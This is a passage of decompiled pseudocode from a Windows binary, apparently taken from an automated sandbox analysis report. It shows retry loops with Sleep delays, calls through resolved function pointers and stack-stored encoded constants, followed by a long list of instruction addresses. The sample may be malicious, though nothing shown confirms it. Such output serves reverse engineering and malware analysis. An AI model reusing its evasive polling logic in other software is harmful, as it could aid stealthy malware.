                                                          									_t896 = E00402300(_t1311,  &_v760, _t1686, _t895); // executed
                                                          									__eflags = _t896;
                                                          									if(_t896 == 0) {
                                                          										goto L323;
                                                          									}
                                                          									E00402510( &_v56, E00402370( &_v760));
                                                          									_t1569 = "0";
                                                          									_t905 = E00402800( &_v56, "0");
                                                          									__eflags = _t905;
                                                          									if(_t905 == 0) {
                                                          										_t1569 = "1";
                                                          										_t958 = E00402800( &_v56, "1");
                                                          										__eflags = _t958;
                                                          										if(_t958 == 0) {
                                                          											_t1382 =  &_v56;
                                                          											E00402440(_t1311,  &_v56);
                                                          											goto L323;
                                                          										}
                                                          									}
                                                          									E00402440(_t1311,  &_v56);
                                                          									E0040BB70( &_v80);
                                                          									_t1731 = _t1730 - 0x10;
                                                          									_v20 = 0x11;
                                                          									E00401960( &_v1088, "0"); // executed
                                                          									_v20 = 0x12;
                                                          									while(1) {
                                                          										_t911 = E00402510( &_v1128, E0040B8C0(E004093D0(_t1311, _t1569, _t1686, _t1691)));
                                                          										_t1569 = 0x450e54;
                                                          										_v20 = 0x15;
                                                          										_t912 = E0040C930( &_v1152, 0x450e54, _t911);
                                                          										_t1731 = _t1731 + 4;
                                                          										_v20 = 0x16;
                                                          										_t914 = E00402300(_t1311,  &_v1088, _t1686, E00402400(_t912)); // executed
                                                          										_t1691 = _t914;
                                                          										E00402440(_t1311,  &_v1152);
                                                          										_v20 = 0x12;
                                                          										E00402440(_t1311,  &_v1128);
                                                          										__eflags = _t914;
                                                          										if(_t914 == 0) {
                                                          											goto L330;
                                                          										}
                                                          										E00402410( &_v80, E00402370( &_v1088));
                                                          										_t919 = E004023F0( &_v80);
                                                          										__eflags = _t919 - 0xa;
                                                          										if(_t919 <= 0xa) {
                                                          											goto L330;
                                                          										}
                                                          										__eflags = _t919 - 0x64;
                                                          										if(_t919 >= 0x64) {
                                                          											goto L330;
                                                          										}
                                                          										_t1732 = _t1731 - 0x10;
                                                          										_t1692 = 0;
                                                          										__eflags = 0;
                                                          										E00401960( &_v432, "1"); // executed
                                                          										_v20 = 0x17;
                                                          										do {
                                                          											_v1104 = _t1692 + 1;
                                                          											_t923 = E00402510( &_v1128, E0040B7A0(E00409460(_t1569, _t1686, _t1692 + 1)));
                                                          											_t1569 = 0x450e54;
                                                          											_v20 = 0x1a;
                                                          											_t924 = E0040C930( &_v1152, 0x450e54, _t923);
                                                          											_t1732 = _t1732 + 4;
                                                          											_v20 = 0x1b;
                                                          											_t926 = E00402300(_t1311,  &_v432, _t1686, E00402400(_t924)); // executed
                                                          											E00402440(_t1311,  &_v1152);
                                                          											_v20 = 0x17;
                                                          											E00402440(_t1311,  &_v1128);
                                                          											__eflags = _t926;
                                                          											if(_t926 == 0) {
                                                          												goto L335;
                                                          											} else {
                                                          												_t1311 = E00402380( &_v432);
                                                          												__eflags = _t1311 - 0x16;
                                                          												if(__eflags <= 0) {
                                                          													goto L335;
                                                          												} else {
                                                          													_push( ~(0 | __eflags > 0x00000000) |  &(1[_t1311]));
                                                          													_t942 = E004162EE();
                                                          													_t766 =  &(1[_t1311]); // 0x1
                                                          													_t1686 = _t942;
                                                          													_t943 = E00402340( &_v432, _t942, _t766);
                                                          													_push( ~(0 | __eflags > 0x00000000) | _t1311 * 0x00000002); // executed
                                                          													_t946 = E004162EE(); // executed
                                                          													_t1738 = _t1732 + 4 - 0x14;
                                                          													_v1092 = _t946;
                                                          													E0040BB90(_t1311, _t1738, _t1311 * 2 >> 0x20, _t942,  &_v80);
                                                          													_t950 = E00403770(_t1311, _t942, _t943, _t1686,  &_v1092); // executed
                                                          													_t1569 = _t950;
                                                          													_t951 = E00402B60(_v1092, _t950, __eflags,  &_v1100,  &_v1100); // executed
                                                          													_t1732 = _t1738 + 0x24;
                                                          													_v1096 = _t951;
                                                          													__eflags = _v1100;
                                                          													if(_v1100 != 0) {
                                                          														_t1686 = Sleep;
                                                          														_t1692 = 0;
                                                          														_v1092 = 0;
                                                          														_t1311 = 0;
                                                          														__eflags = 0;
                                                          														do {
                                                          															_t1425 = _v1096(E00402400(0x450e6c), E00402400(0x450df4));
                                                          															_t1732 = _t1732 + 8;
                                                          															_t955 = _v1092;
                                                          															_t1569 = 1;
                                                          															__eflags = _t955;
                                                          															if(_t955 != 0) {
                                                          																__eflags = _t1425;
                                                          																_t1311 =  ==  ? 1 : _t1311 & 0x000000ff;
                                                          															}
                                                          															__eflags = _t1692 - 0xa;
                                                          															if(_t1692 >= 0xa) {
                                                          																__eflags = _t1425 - 1;
                                                          																_t1311 =  !=  ? _t1569 : _t1311 & 0x000000ff;
                                                          															}
                                                          															__eflags = _t1692 - 0xf;
                                                          															if(_t1692 < 0xf) {
                                                          																__eflags = _t1692 - 5;
                                                          																if(_t1692 < 5) {
                                                          																	goto L348;
                                                          																} else {
                                                          																	goto L346;
                                                          																}
                                                          															} else {
                                                          																__eflags = _t1425 - 1;
                                                          																if(_t1425 == 1) {
                                                          																	_t1311 = _t1425;
                                                          																}
                                                          																L346:
                                                          																__eflags = _t955;
                                                          																if(_t955 != 0) {
                                                          																	goto L348;
                                                          																} else {
                                                          																	__eflags = _t1425 - 0xfffffffe;
                                                          																	if(__eflags == 0) {
                                                          																		Sleep(0x7d0); // executed
                                                          																	} else {
                                                          																		goto L348;
                                                          																	}
                                                          																}
                                                          															}
                                                          															goto L351;
                                                          															L348:
                                                          															__eflags = _t1425 - 1;
                                                          															_t957 =  ==  ? _t1569 : _t955 & 0x000000ff;
                                                          															_t1692 = _t1692 + 1;
                                                          															_v1092 =  ==  ? _t1569 : _t955 & 0x000000ff;
                                                          															Sleep(0x7d0); // executed
                                                          															__eflags = _t1311;
                                                          														} while (__eflags == 0);
                                                          													} else {
                                                          														goto L335;
                                                          													}
                                                          												}
                                                          											}
                                                          											L351:
                                                          											E004054C0(_t1311, __eflags); // executed
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											_push(_t1700);
                                                          											_t1701 = _t1732;
                                                          											_t930 =  *0x43d054; // 0x6e36c9b5
                                                          											_v1772 = _t930 ^ _t1701;
                                                          											_v1788 = 0x5a405b41;
                                                          											_v1784 = 0x5e465e00;
                                                          											_v1780 = 0x4c5b5d11;
                                                          											_t1407 =  *( *[fs:0x2c]);
                                                          											_t933 =  *0x450f38; // 0x80000017
                                                          											_v1776 = 0x2e13;
                                                          											__eflags = _t933 -  *((intOrPtr*)(_t1407 + 4));
                                                          											if(_t933 >  *((intOrPtr*)(_t1407 + 4))) {
                                                          												E0040EF48(_t933, 0x450f38);
                                                          												__eflags =  *0x450f38 - 0xffffffff;
                                                          												if(__eflags == 0) {
                                                          													asm("movaps xmm0, [0x439d70]");
                                                          													asm("movups [0x450db0], xmm0");
                                                          													 *0x450dc8 = _v32;
                                                          													asm("movq xmm0, [ebp-0x14]");
                                                          													asm("movq [0x450dc0], xmm0");
                                                          													 *0x450dcc = _v28;
                                                          													E0040F25B(_t1407, __eflags, 0x42d490);
                                                          													E0040EEFE(0x450f38);
                                                          												}
                                                          											}
                                                          											__eflags = _v24 ^ _t1701;
                                                          											return E0040EBBF(0x450db0, _t1311, _v24 ^ _t1701, _t1569, _t1686, _t1692);
                                                          											goto L356;
                                                          											L335:
                                                          											_t1692 = _v1104;
                                                          											__eflags = _t1692 - 0xa;
                                                          										} while (__eflags < 0);
                                                          										goto L351;
                                                          										L330:
                                                          										Sleep(0xbb8);
                                                          									}
                                                          									L323:
                                                          									__eflags = _t1691 - 0x12c;
                                                          									if(__eflags <= 0) {
                                                          										_t735 = _t1691 + 3; // 0x4
                                                          										Sleep(_t735 * 0x3e8);
                                                          									} else {
                                                          										_t899 = E00417DF6(_t1382, __eflags);
                                                          										asm("cdq");
                                                          										Sleep((_t899 % _t1686 + 0x67) * 0x3e8);
                                                          									}
                                                          								}
                                                          							} else {
                                                          								goto L11;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L356:
                                                          			}









































































































































































































































































































































































































































                                                          0x00406aa0
                                                          0x00406aa1
                                                          0x00406aa9
                                                          0x00406ab0
                                                          0x00406ab4
                                                          0x00406ab6
                                                          0x00406ab8
                                                          0x00406ac3
                                                          0x00406ac4
                                                          0x00406ac5
                                                          0x00406acb
                                                          0x00406ad0
                                                          0x00406ad2
                                                          0x00406ad5
                                                          0x00406ad6
                                                          0x00406ad7
                                                          0x00406adb
                                                          0x00406ae1
                                                          0x00406ae3
                                                          0x00406ae9
                                                          0x00406aef
                                                          0x00406af9
                                                          0x00406b03
                                                          0x00406b0d
                                                          0x00406b14
                                                          0x00406b1b
                                                          0x00406b22
                                                          0x00407e4e
                                                          0x00407e53
                                                          0x00407e57
                                                          0x00407e5c
                                                          0x00407e6d
                                                          0x00407e72
                                                          0x00407e7c
                                                          0x00407e83
                                                          0x00407e85
                                                          0x00407e8a
                                                          0x00407e90
                                                          0x00407e97
                                                          0x00407e9c
                                                          0x00407e9f
                                                          0x00407ea6
                                                          0x00407ea8
                                                          0x00407eba
                                                          0x00407ec1
                                                          0x00407ec6
                                                          0x00407ed3
                                                          0x00407ed8
                                                          0x00407ed8
                                                          0x00407ea6
                                                          0x00407edb
                                                          0x00407ee0
                                                          0x00407ee2
                                                          0x00407ee4
                                                          0x00407eed
                                                          0x00407ef4
                                                          0x00407ef8
                                                          0x00407efd
                                                          0x00407efd
                                                          0x00407f04
                                                          0x00407f09
                                                          0x00407f13
                                                          0x00407f1d
                                                          0x00407f27
                                                          0x00407f2e
                                                          0x00407f2e
                                                          0x00407f31
                                                          0x00407f31
                                                          0x00407f33
                                                          0x00407f34
                                                          0x00407f34
                                                          0x00407f46
                                                          0x00407f4b
                                                          0x00407f4f
                                                          0x00407f57
                                                          0x00407f5f
                                                          0x00407f62
                                                          0x00407f92
                                                          0x00407fa7
                                                          0x00407f64
                                                          0x00407f64
                                                          0x00407f67
                                                          0x00407f6a
                                                          0x00407f76
                                                          0x00407f7d
                                                          0x00407f83
                                                          0x00407f83
                                                          0x00407fac
                                                          0x00407fb6
                                                          0x00407fc0
                                                          0x00407fca
                                                          0x00407fcd
                                                          0x00407fd4
                                                          0x00407fd9
                                                          0x00407fe1
                                                          0x00407fe8
                                                          0x00407fef
                                                          0x00407ff8
                                                          0x00408009
                                                          0x0040800e
                                                          0x00408018
                                                          0x0040801d
                                                          0x00408023
                                                          0x00408026
                                                          0x00408057
                                                          0x00408057
                                                          0x0040805b
                                                          0x00408061
                                                          0x0040806b
                                                          0x00408075
                                                          0x0040807c
                                                          0x0040807f
                                                          0x004080b0
                                                          0x004080b0
                                                          0x004080b4
                                                          0x004080ba
                                                          0x004080c4
                                                          0x004080ce
                                                          0x004080d5
                                                          0x004080d8
                                                          0x00408109
                                                          0x00408109
                                                          0x00408114
                                                          0x0040811b
                                                          0x00408120
                                                          0x00408123
                                                          0x0040812d
                                                          0x00408130
                                                          0x00408135
                                                          0x00408139
                                                          0x0040813e
                                                          0x00408141
                                                          0x00408143
                                                          0x00408356
                                                          0x0040835b
                                                          0x00408365
                                                          0x0040836f
                                                          0x00408379
                                                          0x00408382
                                                          0x00408389
                                                          0x0040838f
                                                          0x00408396
                                                          0x0040839b
                                                          0x0040839e
                                                          0x004083a5
                                                          0x004083ad
                                                          0x004083b5
                                                          0x004083c1
                                                          0x004083d2
                                                          0x004083da
                                                          0x004083df
                                                          0x004083ec
                                                          0x004083f1
                                                          0x004083f1
                                                          0x004083a5
                                                          0x004083f4
                                                          0x004083fb
                                                          0x004083fd
                                                          0x004083fd
                                                          0x00408400
                                                          0x00408400
                                                          0x00408407
                                                          0x00408408
                                                          0x00408408
                                                          0x00408400
                                                          0x0040840d
                                                          0x00408412
                                                          0x0040841c
                                                          0x00408426
                                                          0x00408430
                                                          0x00408437
                                                          0x00408437
                                                          0x0040843a
                                                          0x00408440
                                                          0x00408440
                                                          0x00408442
                                                          0x00408443
                                                          0x00408443
                                                          0x00408455
                                                          0x0040845a
                                                          0x0040845e
                                                          0x00408466
                                                          0x0040846e
                                                          0x00408471
                                                          0x004084a1
                                                          0x004084b6
                                                          0x00408473
                                                          0x00408473
                                                          0x00408476
                                                          0x00408479
                                                          0x00408485
                                                          0x0040848c
                                                          0x00408492
                                                          0x00408492
                                                          0x004084bb
                                                          0x004084c5
                                                          0x004084cf
                                                          0x004084d9
                                                          0x004084dc
                                                          0x004084e3
                                                          0x004084e8
                                                          0x004084f0
                                                          0x004084f7
                                                          0x004084fe
                                                          0x00408507
                                                          0x00408518
                                                          0x0040851d
                                                          0x00408527
                                                          0x0040852c
                                                          0x00408532
                                                          0x00408535
                                                          0x00408566
                                                          0x00408566
                                                          0x0040856a
                                                          0x00408570
                                                          0x0040857a
                                                          0x00408584
                                                          0x0040858b
                                                          0x0040858e
                                                          0x004085bf
                                                          0x004085bf
                                                          0x004085c3
                                                          0x004085c9
                                                          0x004085d3
                                                          0x004085dd
                                                          0x004085e4
                                                          0x004085e7
                                                          0x00408618
                                                          0x00408618
                                                          0x00408623
                                                          0x0040862a
                                                          0x0040862f
                                                          0x00408632
                                                          0x0040863c
                                                          0x0040863f
                                                          0x00408644
                                                          0x00408648
                                                          0x0040864d
                                                          0x00408650
                                                          0x00408652
                                                          0x00408878
                                                          0x0040887d
                                                          0x00408887
                                                          0x00408891
                                                          0x00408897
                                                          0x0040889e
                                                          0x004088a3
                                                          0x004088a6
                                                          0x004088ad
                                                          0x004088c0
                                                          0x004088c5
                                                          0x004088cb
                                                          0x004088d8
                                                          0x004088dd
                                                          0x004088dd
                                                          0x004088ad
                                                          0x004088e0
                                                          0x004088e5
                                                          0x004088e7
                                                          0x004088e9
                                                          0x004088f0
                                                          0x004088f7
                                                          0x004088fe
                                                          0x00408905
                                                          0x0040890c
                                                          0x00408913
                                                          0x0040891a
                                                          0x0040891a
                                                          0x0040891c
                                                          0x0040891c
                                                          0x00408921
                                                          0x00408926
                                                          0x00408930
                                                          0x0040893a
                                                          0x00408944
                                                          0x0040894b
                                                          0x0040894b
                                                          0x00408950
                                                          0x00408950
                                                          0x00408952
                                                          0x00408953
                                                          0x00408953
                                                          0x00408965
                                                          0x0040896a
                                                          0x0040896e
                                                          0x00408976
                                                          0x0040897e
                                                          0x00408981
                                                          0x004089b1
                                                          0x004089c6
                                                          0x00408983
                                                          0x00408983
                                                          0x00408986
                                                          0x00408989
                                                          0x00408995
                                                          0x0040899c
                                                          0x004089a2
                                                          0x004089a2
                                                          0x004089cb
                                                          0x004089d5
                                                          0x004089df
                                                          0x004089e9
                                                          0x004089ec
                                                          0x004089f3
                                                          0x004089f8
                                                          0x00408a00
                                                          0x00408a07
                                                          0x00408a0e
                                                          0x00408a17
                                                          0x00408a28
                                                          0x00408a2d
                                                          0x00408a37
                                                          0x00408a3c
                                                          0x00408a42
                                                          0x00408a45
                                                          0x00408a76
                                                          0x00408a76
                                                          0x00408a7a
                                                          0x00408a80
                                                          0x00408a8a
                                                          0x00408a94
                                                          0x00408a9b
                                                          0x00408a9e
                                                          0x00408acf
                                                          0x00408acf
                                                          0x00408ad3
                                                          0x00408ad9
                                                          0x00408ae3
                                                          0x00408aed
                                                          0x00408af4
                                                          0x00408af7
                                                          0x00408b28
                                                          0x00408b28
                                                          0x00408b33
                                                          0x00408b3a
                                                          0x00408b3f
                                                          0x00408b42
                                                          0x00408b4c
                                                          0x00408b4f
                                                          0x00408b54
                                                          0x00408b58
                                                          0x00408b5d
                                                          0x00408b60
                                                          0x00408b62
                                                          0x00408c9a
                                                          0x00408ca5
                                                          0x00408ca9
                                                          0x00000000
                                                          0x00408b68
                                                          0x00408b68
                                                          0x00408b75
                                                          0x00408b83
                                                          0x00408b90
                                                          0x00408b95
                                                          0x00408b98
                                                          0x00408b9a
                                                          0x00408b9e
                                                          0x00408ba3
                                                          0x00408ba8
                                                          0x00408bab
                                                          0x00408bd1
                                                          0x00408be5
                                                          0x00408bad
                                                          0x00408bb0
                                                          0x00408bb3
                                                          0x00408bb5
                                                          0x00408bb8
                                                          0x00408bba
                                                          0x00408bba
                                                          0x00408bbc
                                                          0x00408bc3
                                                          0x00408bc3
                                                          0x00408be7
                                                          0x00408bed
                                                          0x00408bf4
                                                          0x00408bfb
                                                          0x00408bfe
                                                          0x00408c01
                                                          0x00408c06
                                                          0x00408c0b
                                                          0x00408c12
                                                          0x00408c19
                                                          0x00408c1c
                                                          0x00408c22
                                                          0x00408c25
                                                          0x00408c56
                                                          0x00408c5c
                                                          0x00408c66
                                                          0x00408c70
                                                          0x00408c77
                                                          0x00408c82
                                                          0x00408c8d
                                                          0x00000000
                                                          0x00408c27
                                                          0x00408c27
                                                          0x00408c2d
                                                          0x00408c2e
                                                          0x00408c30
                                                          0x00408c36
                                                          0x00408c4c
                                                          0x00408c4c
                                                          0x00408c4e
                                                          0x00000000
                                                          0x00408c38
                                                          0x00408c38
                                                          0x00408c3b
                                                          0x00408c43
                                                          0x00408c46
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408c46
                                                          0x00408c36
                                                          0x00408c25
                                                          0x00408af9
                                                          0x00408af9
                                                          0x00408aff
                                                          0x00408b00
                                                          0x00408b02
                                                          0x00408b08
                                                          0x00408b1e
                                                          0x00408b1e
                                                          0x00408b20
                                                          0x00408b25
                                                          0x00000000
                                                          0x00408b0a
                                                          0x00408b0a
                                                          0x00408b0d
                                                          0x00408b15
                                                          0x00408b18
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408b18
                                                          0x00408b08
                                                          0x00408aa0
                                                          0x00408aa0
                                                          0x00408aa6
                                                          0x00408aa7
                                                          0x00408aa9
                                                          0x00408aaf
                                                          0x00408ac5
                                                          0x00408ac5
                                                          0x00408ac7
                                                          0x00408acc
                                                          0x00000000
                                                          0x00408ab1
                                                          0x00408ab1
                                                          0x00408ab4
                                                          0x00408abc
                                                          0x00408abf
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408abf
                                                          0x00408aaf
                                                          0x00408a47
                                                          0x00408a47
                                                          0x00408a4d
                                                          0x00408a4e
                                                          0x00408a50
                                                          0x00408a56
                                                          0x00408a6c
                                                          0x00408a6c
                                                          0x00408a6e
                                                          0x00408a73
                                                          0x00000000
                                                          0x00408a58
                                                          0x00408a58
                                                          0x00408a5b
                                                          0x00408a63
                                                          0x00408a66
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408a66
                                                          0x00408a56
                                                          0x00408658
                                                          0x00408658
                                                          0x00408665
                                                          0x00408673
                                                          0x00408680
                                                          0x00408685
                                                          0x00408688
                                                          0x0040868a
                                                          0x0040868e
                                                          0x00408693
                                                          0x00408698
                                                          0x0040869b
                                                          0x004086c1
                                                          0x004086d5
                                                          0x0040869d
                                                          0x004086a0
                                                          0x004086a3
                                                          0x004086a5
                                                          0x004086a8
                                                          0x004086aa
                                                          0x004086aa
                                                          0x004086ac
                                                          0x004086b3
                                                          0x004086b3
                                                          0x004086d7
                                                          0x004086dd
                                                          0x004086e4
                                                          0x004086eb
                                                          0x004086ee
                                                          0x004086f1
                                                          0x004086f6
                                                          0x004086fb
                                                          0x00408702
                                                          0x00408709
                                                          0x0040870c
                                                          0x00408712
                                                          0x00408715
                                                          0x00408746
                                                          0x00408746
                                                          0x0040874c
                                                          0x00408756
                                                          0x00408760
                                                          0x00408767
                                                          0x0040876a
                                                          0x0040879b
                                                          0x0040879b
                                                          0x004087a1
                                                          0x004087ab
                                                          0x004087b5
                                                          0x004087bc
                                                          0x004087bf
                                                          0x004087f0
                                                          0x004087f0
                                                          0x004087f6
                                                          0x00408800
                                                          0x0040880a
                                                          0x00408811
                                                          0x00408814
                                                          0x00000000
                                                          0x0040881a
                                                          0x0040881a
                                                          0x00408820
                                                          0x00408821
                                                          0x00408823
                                                          0x00408829
                                                          0x0040883f
                                                          0x0040883f
                                                          0x00408841
                                                          0x00408846
                                                          0x00408849
                                                          0x00408853
                                                          0x0040885d
                                                          0x00000000
                                                          0x0040882b
                                                          0x0040882b
                                                          0x0040882e
                                                          0x00408836
                                                          0x00408839
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408839
                                                          0x00408829
                                                          0x004087c1
                                                          0x004087c1
                                                          0x004087c7
                                                          0x004087c8
                                                          0x004087ca
                                                          0x004087d0
                                                          0x004087e6
                                                          0x004087e6
                                                          0x004087e8
                                                          0x004087ed
                                                          0x00000000
                                                          0x004087d2
                                                          0x004087d2
                                                          0x004087d5
                                                          0x004087dd
                                                          0x004087e0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004087e0
                                                          0x004087d0
                                                          0x0040876c
                                                          0x0040876c
                                                          0x00408772
                                                          0x00408773
                                                          0x00408775
                                                          0x0040877b
                                                          0x00408791
                                                          0x00408791
                                                          0x00408793
                                                          0x00408798
                                                          0x00000000
                                                          0x0040877d
                                                          0x0040877d
                                                          0x00408780
                                                          0x00408788
                                                          0x0040878b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040878b
                                                          0x0040877b
                                                          0x00408717
                                                          0x00408717
                                                          0x0040871d
                                                          0x0040871e
                                                          0x00408720
                                                          0x00408726
                                                          0x0040873c
                                                          0x0040873c
                                                          0x0040873e
                                                          0x00408743
                                                          0x00000000
                                                          0x00408728
                                                          0x00408728
                                                          0x0040872b
                                                          0x00408733
                                                          0x00408736
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408736
                                                          0x00408726
                                                          0x00408715
                                                          0x004085e9
                                                          0x004085e9
                                                          0x004085ef
                                                          0x004085f0
                                                          0x004085f2
                                                          0x004085f8
                                                          0x0040860e
                                                          0x0040860e
                                                          0x00408610
                                                          0x00408615
                                                          0x00000000
                                                          0x004085fa
                                                          0x004085fa
                                                          0x004085fd
                                                          0x00408605
                                                          0x00408608
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408608
                                                          0x004085f8
                                                          0x00408590
                                                          0x00408590
                                                          0x00408596
                                                          0x00408597
                                                          0x00408599
                                                          0x0040859f
                                                          0x004085b5
                                                          0x004085b5
                                                          0x004085b7
                                                          0x004085bc
                                                          0x00000000
                                                          0x004085a1
                                                          0x004085a1
                                                          0x004085a4
                                                          0x004085ac
                                                          0x004085af
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004085af
                                                          0x0040859f
                                                          0x00408537
                                                          0x00408537
                                                          0x0040853d
                                                          0x0040853e
                                                          0x00408540
                                                          0x00408546
                                                          0x0040855c
                                                          0x0040855c
                                                          0x0040855e
                                                          0x00408563
                                                          0x00000000
                                                          0x00408548
                                                          0x00408548
                                                          0x0040854b
                                                          0x00408553
                                                          0x00408556
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408556
                                                          0x00408546
                                                          0x00408149
                                                          0x00408149
                                                          0x00408156
                                                          0x00408164
                                                          0x00408171
                                                          0x00408176
                                                          0x00408179
                                                          0x0040817b
                                                          0x0040817f
                                                          0x00408184
                                                          0x00408189
                                                          0x0040818c
                                                          0x004081b2
                                                          0x004081c6
                                                          0x0040818e
                                                          0x00408191
                                                          0x00408194
                                                          0x00408196
                                                          0x00408199
                                                          0x0040819b
                                                          0x0040819b
                                                          0x0040819d
                                                          0x004081a4
                                                          0x004081a4
                                                          0x004081c8
                                                          0x004081ce
                                                          0x004081d5
                                                          0x004081dc
                                                          0x004081df
                                                          0x004081e2
                                                          0x004081e7
                                                          0x004081ec
                                                          0x004081f3
                                                          0x004081fa
                                                          0x004081fd
                                                          0x00408203
                                                          0x00408206
                                                          0x00408237
                                                          0x00408237
                                                          0x0040823d
                                                          0x00408247
                                                          0x00408251
                                                          0x00408258
                                                          0x0040825b
                                                          0x0040828c
                                                          0x0040828c
                                                          0x00408292
                                                          0x0040829c
                                                          0x004082a6
                                                          0x004082ad
                                                          0x004082b0
                                                          0x004082e1
                                                          0x004082e1
                                                          0x004082e7
                                                          0x004082f1
                                                          0x004082fb
                                                          0x00408302
                                                          0x00408305
                                                          0x00408336
                                                          0x00408336
                                                          0x00408340
                                                          0x0040834a
                                                          0x00000000
                                                          0x00408307
                                                          0x00408307
                                                          0x0040830d
                                                          0x0040830e
                                                          0x00408310
                                                          0x00408316
                                                          0x0040832c
                                                          0x0040832c
                                                          0x0040832e
                                                          0x00408333
                                                          0x00000000
                                                          0x00408318
                                                          0x00408318
                                                          0x0040831b
                                                          0x00408323
                                                          0x00408326
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408326
                                                          0x00408316
                                                          0x004082b2
                                                          0x004082b2
                                                          0x004082b8
                                                          0x004082b9
                                                          0x004082bb
                                                          0x004082c1
                                                          0x004082d7
                                                          0x004082d7
                                                          0x004082d9
                                                          0x004082de
                                                          0x00000000
                                                          0x004082c3
                                                          0x004082c3
                                                          0x004082c6
                                                          0x004082ce
                                                          0x004082d1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004082d1
                                                          0x004082c1
                                                          0x0040825d
                                                          0x0040825d
                                                          0x00408263
                                                          0x00408264
                                                          0x00408266
                                                          0x0040826c
                                                          0x00408282
                                                          0x00408282
                                                          0x00408284
                                                          0x00408289
                                                          0x00000000
                                                          0x0040826e
                                                          0x0040826e
                                                          0x00408271
                                                          0x00408279
                                                          0x0040827c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040827c
                                                          0x0040826c
                                                          0x00408208
                                                          0x00408208
                                                          0x0040820e
                                                          0x0040820f
                                                          0x00408211
                                                          0x00408217
                                                          0x0040822d
                                                          0x0040822d
                                                          0x0040822f
                                                          0x00408234
                                                          0x00000000
                                                          0x00408219
                                                          0x00408219
                                                          0x0040821c
                                                          0x00408224
                                                          0x00408227
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408227
                                                          0x00408217
                                                          0x00408206
                                                          0x004080da
                                                          0x004080da
                                                          0x004080e0
                                                          0x004080e1
                                                          0x004080e3
                                                          0x004080e9
                                                          0x004080ff
                                                          0x004080ff
                                                          0x00408101
                                                          0x00408106
                                                          0x00000000
                                                          0x004080eb
                                                          0x004080eb
                                                          0x004080ee
                                                          0x004080f6
                                                          0x004080f9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004080f9
                                                          0x004080e9
                                                          0x00408081
                                                          0x00408081
                                                          0x00408087
                                                          0x00408088
                                                          0x0040808a
                                                          0x00408090
                                                          0x004080a6
                                                          0x004080a6
                                                          0x004080a8
                                                          0x004080ad
                                                          0x00000000
                                                          0x00408092
                                                          0x00408092
                                                          0x00408095
                                                          0x0040809d
                                                          0x004080a0
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004080a0
                                                          0x00408090
                                                          0x00408028
                                                          0x00408028
                                                          0x0040802e
                                                          0x0040802f
                                                          0x00408031
                                                          0x00408037
                                                          0x0040804d
                                                          0x0040804d
                                                          0x0040804f
                                                          0x00408054
                                                          0x00000000
                                                          0x00408039
                                                          0x00408039
                                                          0x0040803c
                                                          0x00408044
                                                          0x00408047
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00408047
                                                          0x00408037
                                                          0x00406b28
                                                          0x00406b28
                                                          0x00406b37
                                                          0x00406b3f
                                                          0x00406b6d
                                                          0x00406b6f
                                                          0x00406b72
                                                          0x00406b74
                                                          0x00406b74
                                                          0x00406b74
                                                          0x00406b77
                                                          0x00406b77
                                                          0x00406b79
                                                          0x00406b7a
                                                          0x00406b7c
                                                          0x00000000
                                                          0x00406b7e
                                                          0x00406b7e
                                                          0x00406b7e
                                                          0x00406b80
                                                          0x00406b81
                                                          0x00406b81
                                                          0x00406b41
                                                          0x00406b41
                                                          0x00406b47
                                                          0x00406b4a
                                                          0x00406b4a
                                                          0x00406b50
                                                          0x00406b50
                                                          0x00406b52
                                                          0x00406b53
                                                          0x00406b55
                                                          0x00000000
                                                          0x00406b57
                                                          0x00406b5f
                                                          0x00406b60
                                                          0x00406b60
                                                          0x00406b55
                                                          0x00406b88
                                                          0x00406b93
                                                          0x00406b98
                                                          0x00406b9c
                                                          0x00406ba1
                                                          0x00406ba9
                                                          0x00406bb2
                                                          0x00406bb7
                                                          0x00406bbe
                                                          0x00406bc8
                                                          0x00406bd6
                                                          0x00406be3
                                                          0x00406be8
                                                          0x00406bf2
                                                          0x00406bf7
                                                          0x00406c00
                                                          0x00406c31
                                                          0x00406c31
                                                          0x00406c35
                                                          0x00406c3b
                                                          0x00406c45
                                                          0x00406c4f
                                                          0x00406c59
                                                          0x00406c8a
                                                          0x00406c8a
                                                          0x00406c95
                                                          0x00406c9c
                                                          0x00406ca1
                                                          0x00406ca4
                                                          0x00406cae
                                                          0x00406cb1
                                                          0x00406cb6
                                                          0x00406cba
                                                          0x00406cbf
                                                          0x00406cc4
                                                          0x00406f15
                                                          0x00406f1c
                                                          0x00406f1e
                                                          0x00406f23
                                                          0x00406f29
                                                          0x00406f30
                                                          0x00406f35
                                                          0x00406f38
                                                          0x00406f3f
                                                          0x00406f41
                                                          0x00406f53
                                                          0x00406f5a
                                                          0x00406f5f
                                                          0x00406f6c
                                                          0x00406f71
                                                          0x00406f71
                                                          0x00406f3f
                                                          0x00406f74
                                                          0x00406f79
                                                          0x00406f7b
                                                          0x00406f7d
                                                          0x00406f86
                                                          0x00406f8d
                                                          0x00406f91
